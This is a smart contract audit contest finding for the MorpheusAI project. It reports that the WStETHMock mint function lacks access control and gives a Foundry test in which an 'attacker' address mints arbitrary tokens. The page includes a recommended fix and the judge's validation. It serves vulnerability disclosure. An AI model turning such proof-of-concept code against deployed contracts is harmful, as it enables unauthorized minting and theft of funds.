MorpheusAI

MorpheusAI
Foundry
22,500 USDC
View results
Submission Details
Severity: low
Valid

WStETHMock - Any user can mint shares

Summary

The WStETHMock::mint function is not access restricted and allows any user to mint themselves tokens.

Vulnerability Details

The missing access control, e.g. onlyOwner or onlyDistribution etc, allows any user to mint WstETH. Because WstETH is used to deposit tokens (in its unwarpped form) into the contract in exchange for MOR token rewards, this allows an attacker to gain huge amounts of stETH and MOR tokens.

Use the following code ( with foundry installed - sorry for that ) to demonstrate the vulnerability.

Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
// foundry
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
// contracts
import {Distribution} from "../../contracts/Distribution.sol";
import {DistributionV2} from "../../contracts/mock/DistributionV2.sol";
import {IDistribution} from "../../contracts/interfaces/IDistribution.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
// Mocks
import {StETHMock} from "../../contracts/mock/tokens/StETHMock.sol";
import {WStETHMock} from "../../contracts/mock/tokens/WStETHMock.sol";
contract MorpheusTest is Test {
// events
event UserClaimed(uint256 indexed poolId, address indexed user, uint256 amount);
// Mocks
StETHMock stEthMock;
WStETHMock wstEthMock;
DistributionV2 distributionV2;
// Contracts
Distribution distribution;
// constructor
ProxyAdmin admin;
address depositToken;
address l1Sender = makeAddr("l1Sender");
IDistribution.Pool[] pools;
IDistribution.Pool pool;
IDistribution.Pool pool2;
// tester
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address alice = makeAddr("alice");
address victim = makeAddr("victim");
// helpers
uint128 constant ONE_HOUR = 3600;
uint128 constant ONE_DAY = 86400;
function setUp() external {
vm.startPrank(owner);
stEthMock = new StETHMock();
wstEthMock = new WStETHMock(address(stEthMock));
distributionV2 = new DistributionV2();
depositToken = address(stEthMock);
admin = new ProxyAdmin();
address impl = address(new Distribution());
distribution = Distribution(address(new TransparentUpgradeableProxy(impl, address(admin), "")));
distribution.Distribution_init(depositToken, l1Sender, pools);
stEthMock.mint(attacker, 100_000);
vm.deal(attacker, 100 ether);
vm.stopPrank();
}
modifier createPool(uint256 initialReward_, uint256 rewardDecrease_) {
pool = IDistribution.Pool({
payoutStart: uint128(block.timestamp)+1,
decreaseInterval: ONE_DAY,
withdrawLockPeriod: 12*ONE_HOUR,
claimLockPeriod: 12*ONE_HOUR,
withdrawLockPeriodAfterStake: ONE_DAY,
initialReward: initialReward_,
rewardDecrease: rewardDecrease_,
minimalStake: 1,
isPublic: true
});
vm.prank(owner);
distribution.createPool(pool);
vm.prank(owner);
distributionV2.createPool(pool);
_;
}
function testAnyUserCanMintAnyValueOfWstEth(uint256 mintAmount) external {
// vm.assume(mintAmount <= 1000 * (10 ** stEthMock.decimals()));
// uint256 sharesAmount = stEthMock.getSharesByPooledEth(mintAmount);
vm.startPrank(attacker);
wstEthMock.mint(attacker, mintAmount);
assertEq(mintAmount, wstEthMock.balanceOf(attacker));
}
}

Impact

An attacker is able to mint themselves any amount of tokens. The impact currently is not quite as high as the stETH mint, because of the missing unwrap function.

Tools Used

Manual Review
Foundry

Recommendations

Restrict the access to onlyOwner or the address which deploys the token.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of access control in `StETHMock:mint` and `WStETHMock::mint`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.